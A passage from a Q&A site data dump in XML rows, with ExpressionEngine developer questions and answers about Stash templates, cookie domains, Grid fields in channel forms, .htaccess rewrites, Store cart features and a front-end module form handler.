&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/test1&quot;}&#xA;&#xA;{exp:stash:set name=&quot;course&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;topic&quot; url_title=&quot;{segment_2}&quot;}&#xA;    {url_title}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;cats&quot; trim=&quot;yes&quot;}&#xA;{exp:channel:entries channel=&quot;explore&quot; search:coursename=&quot;{exp:stash:course}&quot;}&#xA;{title}&#xA;&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wow, that was complicated and a waste of time but I figured it out through a lot of research and trial and error. I don't know if it's going to be worth continuing if such simple tasks are so complex. Anyway, here's the working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/test1&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;topic&quot; dynamic=&quot;no&quot;  limit=&quot;1&quot; url_title=&quot;spirituality&quot;}&#xA;  {exp:stash:set name=&quot;my_test&quot; parse_tags=&quot;yes&quot;}{title}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:set name=&quot;cats&quot;}&#xA;  {exp:stash:parse process=&quot;end&quot;}&#xA;      {exp:channel:entries channel=&quot;explore&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot; search:coursename=&quot;{stash:my_test}&quot;}&#xA;      {title}&amp;lt;br /&amp;gt;&#xA;      {/exp:channel:entries}&#xA;  {/exp:stash:parse} &#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6249" LastEditorUserId="166" LastEditDate="2015-04-26T02:04:55.690" LastActivityDate="2015-04-26T02:04:55.690" Title="How to use Stash to avoid embedded templates" Tags="|stash|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31194" PostTypeId="2" ParentId="31139" CreationDate="2015-04-25T10:14:53.813" Score="0" Body="&lt;p&gt;I've had this problem before and, for me, it has nearly always been caused by cookie configuration. You can try adding your local address to the config file with &lt;code&gt;$config['cookie_domain'] = &quot;[your local url]&quot;&lt;/code&gt; to make sure that cookies are being served from the correct domain (ie: the one you are using locally). You could also try putting in an empty config value in (such as &lt;code&gt;$config['cookie_domain'] = &quot;&quot;&lt;/code&gt; ) to see if that works.&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2015-04-25T10:14:53.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31196" PostTypeId="1" AcceptedAnswerId="31221" CreationDate="2015-04-25T19:07:06.203" Score="0" ViewCount="71" Body="&lt;p&gt;I am trying to update record by angular post, below is code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $.post(url, data, function (result) {&#xA;                var error = false;&#xA;                if (result.success == 1 &amp;amp;&amp;amp; (result.entry_id) != false) {&#xA;                    //alert('Saved Successfully!!')&#xA;                } else {&#xA;                    error = true;&#xA;                }&#xA;                $scope.$apply(function () {&#xA;                    $scope.loading = false;&#xA;                    if (error) {&#xA;                        $scope.error = true;&#xA;                        $scope.ErrorMessage = 'Internal server error occured.';&#xA;                    } else {&#xA;                        $scope.success = true;&#xA;                        window.location.href = &quot;#/trVenueDetail/&quot; + result.entry_id&#xA;                    }&#xA;                });&#xA;&#xA;            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's always made the new entry. Page URL is some thing like below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/new#/trAddVenue/47452&quot; rel=&quot;nofollow&quot;&gt;http://example.com/new#/trAddVenue/47452&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;47452 is entry_id, I have tried to set it in hidden field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry_id hidden field is automatically created by form tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:form channel=&quot;venues&quot; include_jquery=&quot;no&quot; json=&quot;yes&quot;&#xA;id=&quot;addVenu&quot; name=&quot;addVenu&quot; }&#xA;&#xA;     -- Controls Html Is Here---&#xA;&#xA;  {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Same code is working in case of add new record, but how to update existing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes I am able to populate the value. &lt;/p&gt;&#xA;" OwnerUserId="6250" LastActivityDate="2015-04-28T16:20:18.237" Title="How to update record using angular post?" Tags="|channel-entries|update|js|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31197" PostTypeId="1" AcceptedAnswerId="31240" CreationDate="2015-04-25T20:26:18.147" Score="1" ViewCount="606" Body="&lt;p&gt;I am using the grid field as a custom field for one of my channels.  My form is setup correctly from what I can tell.  What happens is, when trying to add to an entry and already having added a few grid rows worth of data from the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I submit a new entry using Channel:Form it overrides all the other data and leaves me with 1 field only. I am wanting the grid field to just update and leave the other grid data alone in that channel entry, but it replaces all of my data with just the one newly submitted record.  How do I go about simply adding onto the data already present in the Entry with my Grid field using Channel:Form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I am using in my form, any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;field_id_10[rows][new_row_0][col_id_21]&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2795" LastEditorUserId="2795" LastEditDate="2015-04-25T20:32:08.900" LastActivityDate="2015-04-30T09:23:19.353" Title="Adding New Grid Entries With Channel:Form" Tags="|safecracker|grid|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31198" PostTypeId="2" ParentId="31197" CreationDate="2015-04-25T23:44:10.383" Score="0" Body="&lt;p&gt;If I recall correctly, you just need to number the 'new_row' correctly, lets say you have 2 rows already, when you submit the form it should be &lt;code&gt;field_id_10[rows][new_row_2]&lt;/code&gt; (numbering starts from 0 obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not sure if you have to resubmit the existing rows as well, like it does on the CP. you can easily confirm this by echoing out the existing days in hidden inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My memory isn't what it was and is been a while since I did matrix/grid via channel entry form so I'll try to test this in the morning (UK) for you and solidify my answer, but in the meantime this will get you started.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-25T23:44:10.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31199" PostTypeId="1" AcceptedAnswerId="31207" CreationDate="2015-04-26T06:54:34.480" Score="1" ViewCount="1746" Body="&lt;p&gt;I have a multi-language website and my second language goes to a subdirectory &lt;code&gt;mysite.com/en/&lt;/code&gt; Everything is fine but the search functionality. When I submit my search, it prints a question mark right after the subdirectory like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/en/?/noresult/6bc629a9319d90a1e9703eaf2c00f7cd/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And because of it my site redirects to the homepage. I searched and tried many .htaccess codes but it did not work. The URL without question mark works fine. besides i set the &quot;Force URL query strings&quot; to &quot;No&quot; in admin panel but still not working.&#xA;Here is my .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On&#xA;  RewriteBase /en/&#xA;&#xA;  # Removes index.php from ExpressionEngine URLs&#xA;  RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;  RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;  RewriteRule (.*?)/index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;  # Directs all EE web requests through the site index file&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ index.php?/$1 [L,QSA]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i don't know what to do&lt;/p&gt;&#xA;" OwnerUserId="6251" LastEditorUserId="55" LastEditDate="2015-04-28T15:36:08.023" LastActivityDate="2015-08-01T07:28:09.773" Title="Remove question mark from url after search submit" Tags="|search|htaccess|simple-search|querystring|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31200" PostTypeId="1" CreationDate="2015-04-26T22:58:30.513" Score="0" ViewCount="16" Body="&lt;p&gt;Pretty much after what the title says.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to reset/unset a POST value if it is currently set utilizing a button. The idea here, is the button would be a filter of sorts, so clicking would remove certain portions of the URL if currently set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example:&#xA;Say we have a button, &lt;code&gt;&amp;lt;a href=&quot;#&quot; class=&quot;unsetFilter1&quot;&amp;gt;Remove filter 1&amp;lt;/a&amp;gt;&lt;/code&gt; and upon clicking, it would do something along the lines of checking&#xA;&lt;code&gt;{if '{exp:channel_search:is_set name=&quot;filter1&quot;}' == 1}&lt;/code&gt; where if &lt;strong&gt;TRUE&lt;/strong&gt; (as the statement is setup), do something like &lt;code&gt;{exp:channel_search:reset name=&quot;filter1&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems possible, as all the components needed are there, just not sure how to actually set this up?&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2016-06-07T09:59:32.910" Title="Reset POST value of Objective HTML Channel Search on button click" Tags="|objective-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31201" PostTypeId="2" ParentId="31200" CreationDate="2015-04-26T23:23:37.813" Score="0" Body="&lt;p&gt;So I think I've got this figured out. Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:channel_search:is_set name=&quot;filter1&quot;}' == 1}&#xA;    {!-- If here, the filter is applied, unset it and go back to page one as results will differ --}&#xA;    &amp;lt;a href=&quot;{exp:channel_search:url set:filter1='' set:page='1'}&quot; class=&quot;button secondary disabled&quot;&amp;gt;Show locations that match filter1&amp;lt;/a&amp;gt;&#xA;{if:else}&#xA;    {!-- If here, the filter is NOT applied, set it and go back to page one as results will differ --}&#xA;    &amp;lt;a href=&quot;{exp:channel_search:url set:filter1='SOME_TITLE_TO_FILTER' set:page='1'}&quot; class=&quot;button secondary&quot;&amp;gt;Hide locations that match filter1&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm checking if the variable is set, and if so get the current URL, unset the variable, set the page to 1 and go to this URL in click. Do the opposite if not set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a default search rule to accomplish the filtering&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9CkNF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2015-04-26T23:23:37.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31204" PostTypeId="2" ParentId="30238" CreationDate="2015-04-27T09:35:08.553" Score="0" Body="&lt;p&gt;Turned out that Structure Entries does not support the option to hide children from navigation. I found a plugin for Structure that does support this, and makes it possible to create more complicated navigations for your website (like Structure Entries). Here's the link to the plugin: &lt;a href=&quot;https://devot-ee.com/add-ons/structure-nav&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/structure-nav&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2015-04-27T09:35:08.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31205" PostTypeId="1" AcceptedAnswerId="31211" CreationDate="2015-04-27T13:28:07.587" Score="0" ViewCount="58" Body="&lt;p&gt;My client would like to turn incomplete orders into orders by automatically generating an email to send after a certain time period (eg 48 hours). I realise this cannot be done by default in Store, but is there any other way of doing this? &lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-04-28T02:33:51.377" Title="Incomplete orders in Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31206" PostTypeId="1" CreationDate="2015-04-27T15:34:32.443" Score="0" ViewCount="134" Body="&lt;p&gt;I have a Matrix channel field to display sponsor images in a sidebar. I want to output 1 random image on page load and give user the option to only show specific sponsors on the homepage with Switch Field Type (these are essentially our client's featured sponsors that appear on homepage in addition to interior pages). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason I can't get this code to work properly. Any help is much appreciated...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {sponsors sort=&quot;random&quot; limit=&quot;1&quot;}&#xA;        {if segment_1 == &quot;&quot;}&#xA;            {if &quot;{home_button}&quot; == &quot;y&quot;}&#xA;                &amp;lt;a href=&quot;{link}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot;/&amp;gt;&#xA;            {/if}&#xA;        {if:else}&#xA;            &amp;lt;a href=&quot;{link}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot;/&amp;gt;&#xA;        {/if}&#xA;    {/sponsors}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED ANSWER:&lt;/strong&gt;&#xA;Found this to work...which gives me the ability to keep in &quot;pages&quot; channel without giving images their own channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    {if segment_1 == &quot;&quot;}&#xA;                        {exp:channel:entries channel=&quot;pages&quot;}&#xA;                                {!-- Load a random matrix row that has home button set to y --}&#xA;                                {sponsors sort=&quot;random&quot; limit=&quot;1&quot; search:home_button=&quot;y&quot;}&#xA;                                    &amp;lt;a href=&quot;{link}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                {/sponsors}&#xA;                        {/exp:channel:entries} &#xA;                    {if:else}&#xA;                        {exp:channel:entries channel=&quot;pages&quot; dynamic=&quot;off&quot;}&#xA;                                {!-- Load a random matrix row that has home button set to y --}&#xA;                                {sponsors sort=&quot;random&quot; limit=&quot;1&quot;}&#xA;                                    &amp;lt;a href=&quot;{link}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                {/sponsors}&#xA;                        {/exp:channel:entries} &#xA;                    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2015-05-05T15:19:32.210" LastActivityDate="2016-06-09T10:30:09.950" Title="Random matrix image on homepage and interior pages" Tags="|matrix|templates|switch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31207" PostTypeId="2" ParentId="31199" CreationDate="2015-04-27T18:42:14.947" Score="0" Body="&lt;p&gt;You need some .htaccess magic. This should do the trick, but might need tweaking based on your URL needs. Make sure you put this &lt;strong&gt;before&lt;/strong&gt; your EE rewrites and index.php redirects.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{THE_REQUEST} ^(GET|HEAD)\ /en/\?([^\ ]+)&#xA;RewriteRule ^ /en%2? [L,R,NE]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is systemic to something else, so this is probably more of a band aid, but should work for you.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-01T07:28:09.773" LastActivityDate="2015-08-01T07:28:09.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31208" PostTypeId="2" ParentId="31206" CreationDate="2015-04-27T21:45:17.697" Score="0" Body="&lt;p&gt;I currently see two problems with your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that this is the exact code that you are trying to run, the channel entries tag must have more parameters in order to display anything on the page correctly. Since you will be reusing the code on the homepage and other pages as well you will need to do something along these lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sponsors&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you already had those things, there is a logic problem with your conditionals and the way you are loading in your matrix field. First your homepage conditional should be placed outside of the matrix calls. Let's say that you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name | homepage button&#xA;sponsor1 yes&#xA;sponsor2 no&#xA;sponsor3 no&#xA;sponsor4 yes&#xA;sponsor5 no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your current code would try and randomly grab one of the matrix values. Then it goes to your conditional. If we are on the homepage, it will check if the randomly selected row is supposed to display or not, then the page is fully loaded. There is a 3 in 5 chance that nothing will display. You can fix this by changing where that conditional happens and adding the search parameter to a different matrix call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sponsors&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;&#xA;    {!-- If current page is the homepage --}&#xA;    {if segment_1 == &quot;&quot;}&#xA;&#xA;        {!-- Load a random matrix row that has home button set to y --}&#xA;        {sponsors search:home_button=&quot;y&quot; sort=&quot;random&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;a href=&quot;{link}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot;/&amp;gt;&#xA;        {/sponsors}&#xA;&#xA;    {!-- This is not the homepage --} &#xA;    {if:else}&#xA;&#xA;         {!-- Load any random sponsor including featured ones --}&#xA;         {sponsors sort=&quot;random&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;a href=&quot;{link}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot;/&amp;gt;&#xA;         {/sponsors}&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2015-04-28T00:49:52.633" LastActivityDate="2015-04-28T00:49:52.633" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31209" PostTypeId="1" CreationDate="2015-04-27T21:54:43.973" Score="0" ViewCount="1216" Body="&lt;p&gt;I'm having issues with using anchors in my URLs. For example, I have a url &lt;a href=&quot;http://myurlhere.com/page#anchor&quot; rel=&quot;nofollow&quot;&gt;http://myurlhere.com/page#anchor&lt;/a&gt;, the site fails to go to the anchor. Has anyone experienced this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: When I'm testing on local, the local URLs + anchor tags work, but when I test on my production servers, UTM tags are being added to the URLs, and the anchors seem to be ignored and not appended. I tried manually editing the URLs to include the UTM tags, but duplicate UTM tags are then appended to the URL.&lt;/p&gt;&#xA;" OwnerUserId="6254" LastEditorUserId="6254" LastEditDate="2015-04-27T22:25:03.800" LastActivityDate="2019-08-04T19:02:40.377" Title="anchor tags in my URL not working" Tags="|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31210" PostTypeId="2" ParentId="31209" CreationDate="2015-04-27T22:05:40.033" Score="0" Body="&lt;p&gt;Assuming that the anchor does actually exist on the page (always double check) and the URL is correct when the page loads, the only two things it could be are a browser problem or JavaScript is resetting your scroll position. After checking on a couple of different browsers start going through your JavaScript plugins and the code you have written yourself to see what the culpret is.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-04-27T22:05:40.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31211" PostTypeId="2" ParentId="31205" CreationDate="2015-04-28T02:33:51.377" Score="0" Body="&lt;p&gt;There is not an add-on that I know of that would be able to do this for you out of the box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to build an extension to handle this. There is currently not an extension hook in Store for abandoned carts so you would need to build an add-on. I have not updated a build to Store 2.5 but the release notes mention that incomplete orders no longer create an order in the orders table so you would probably need to query the &lt;code&gt;exp_store_carts&lt;/code&gt; table to see carts that have not been completed and have sat unchanged for X amount of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IT should be noted that you would only be able to do this if the user is already logged in to your site.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-04-28T02:33:51.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31212" PostTypeId="2" ParentId="6095" CreationDate="2015-04-28T04:04:23.140" Score="1" Body="&lt;p&gt;I just had this on a fresh EE install. Kinda weird, but thanks for the tip. Installing matrix worked for me as well.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2015-04-28T04:04:23.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31213" PostTypeId="1" AcceptedAnswerId="31214" CreationDate="2015-04-28T05:42:49.370" Score="1" ViewCount="35" Body="&lt;p&gt;We're looking into adding a &quot;Buy All&quot; button for a Charity / Auction site and the owner would like to have a buy all button that would add all items (each having a stock of 1) to the cart for purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second Question: Is it possible to visibly show when a product has been added to the cart? The reason being is that the items for sale will be in a grid side by side and the owner would like a way for people to know which items they have added to the cart by visibly altering a div tag (or something similar) once the item is residing in the cart.&lt;/p&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2015-04-28T06:24:22.730" Title="Possible to &quot;Buy All&quot; Products on a Page or Purchase a Group?" Tags="|expresso-store|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31214" PostTypeId="2" ParentId="31213" CreationDate="2015-04-28T06:24:22.730" Score="2" Body="&lt;p&gt;Buy All button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes it is possible to add all items to the cart with a single button you would need to use the &lt;code&gt;{exp:store:product_form}&lt;/code&gt; tag pair wrapped around your channel entries tag or Matrix/Grid or Relationship/Playa tag pair. Full documentation of the product_form tag can be found &lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form}&#xA;  {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; limit=&quot;5&quot;}&#xA;      {exp:store:product disable_form=&quot;yes&quot; entry_id=&quot;{entry_id}&quot;}&#xA;          &amp;lt;!-- add to cart form / product details --&amp;gt;&#xA;    {exp:store:product}&#xA;  {/exp:channel:entries}&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In cart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would want to use the &lt;code&gt;{qty_in_cart}&lt;/code&gt; tag in the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag. Something along the lines of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;{if qty_in_cart}inCart{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full documentation for this can be found &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#qty_in_cart&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-04-28T06:24:22.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31215" PostTypeId="1" CreationDate="2015-04-28T07:52:17.040" Score="1" ViewCount="442" Body="&lt;p&gt;I am trying to add a form on the front end so my users can use crud functionality and allowing me to add responsiveness to the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been pointed in the direction of an article and examples over at ee-recipes and this have given me a good starting point.  But I need to add some validation to the process.  Firstname and lastname are required as well as checks to so if the player being added is already in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added a form and action and I am able to save the data into the database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function player_form() {&#xA;&#xA;    // Build an array to hold the form's hidden fields&#xA;    $hidden_fields = array(&#xA;        &quot;ACT&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_action_id( 'Clubmanager', 'create_club_player' )&#xA;    );&#xA;&#xA;    $action_id = ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Clubmanager', 'create_club_player');&#xA;&#xA;    // Build an array with the form data&#xA;    $form_data = array(&#xA;        &quot;action&quot; =&amp;gt; &quot;{site_url}?ACT=$action_id&quot;,&#xA;        &quot;id&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;        &quot;class&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class,&#xA;        &quot;hidden_fields&quot; =&amp;gt; $hidden_fields&#xA;    );&#xA;&#xA;    // Fetch contents of the tag pair, ie, the form contents&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    $form = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($form_data) . &#xA;    $tagdata . &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $form;&#xA;} &#xA;&#xA;public function create_club_player() {&#xA;&#xA;    $firstname = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('firstname');&#xA;    $lastname = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('lastname');&#xA;    $knownas = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('knownas');&#xA;    //$club = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('club');&#xA;    $position = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('position');&#xA;    $dob = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('dob');&#xA;    $url_title = strtolower(str_replace(&quot;'&quot;, &quot;&quot;,$firstname)).'-'. strtolower(str_replace(&quot;'&quot;, &quot;&quot;,$lastname));&#xA;&#xA;    $data = array(&#xA;                    'firstname' =&amp;gt; $firstname,&#xA;                    'lastname' =&amp;gt; $lastname,&#xA;                    'knownas' =&amp;gt; $knownas,&#xA;                    'url_title' =&amp;gt; $url_title,&#xA;                    'position' =&amp;gt; $position,&#xA;                    'dob' =&amp;gt; $dob&#xA;                );&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('tm_players', $data);&#xA;&#xA;    $ret = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_site_index();&#xA;&#xA;    $data = array(&#xA;        'title' =&amp;gt; 'Add Player',&#xA;        'content' =&amp;gt; &quot;Player added successfully&quot;,&#xA;        'link' =&amp;gt; array($ret, &quot;Back to site&quot;)&#xA;    );&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;output-&amp;gt;show_message($data); &#xA;&#xA;    //print_r( $_POST );&#xA;    //exit;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that I need to use form validation for the name etc and have what I need already as part of the CP module but not sure how to put it all together especially when reloading the page if there are errors.  I have seen a post like this one here. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13443/why-doesnt-the-content-of-the-page-load-again-after-postback&quot;&gt;page reload after postback&lt;/a&gt; answer by @Adrian Macneil that references ee()-&gt;core-&gt;generate_page().  Are there any simple examples for me to try and follow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BACKGROUND&lt;/strong&gt;&#xA;Some more background information for you, should answer some questions.  My site was originally built on CI and added bits here and there.  I had a vision of integrating the site with EE but unfortunately it wasn't straight forward or so I was told.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I paid to get my football stats into EE and with that I lost a of functionality and didn't have the knowledge or money to fix that.  I ran with EE for two years but it just couldn't cope the stats and how it pulled it all together. I got lucky and teammanager module was then available and I was able to change this slightly and just plugin my database tables from my CI site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With EE there are many ways to build websites and I am sure there are better ways to use EE for me but I do not have the expertise and just have to try to get there myself somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have control panel access for updating and adding all information including a separate one for Club Admins to add player information. As most of my users use mobiles to visit the site and I want to try and push members to use the club admin feature I thought best way would be to have responsive design rather than mess with the CP CSS or try and build a mobile app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I am wrong the CP process for forms are different from building a form for front and this is the reason why I am asking this question.  My form will also require a validation routine to check whether this player exists and also allow an override for different players with the same name.  I have this code already but as I said the CP form and front end form are processed differently.&#xA;Hopefully this clears some questions 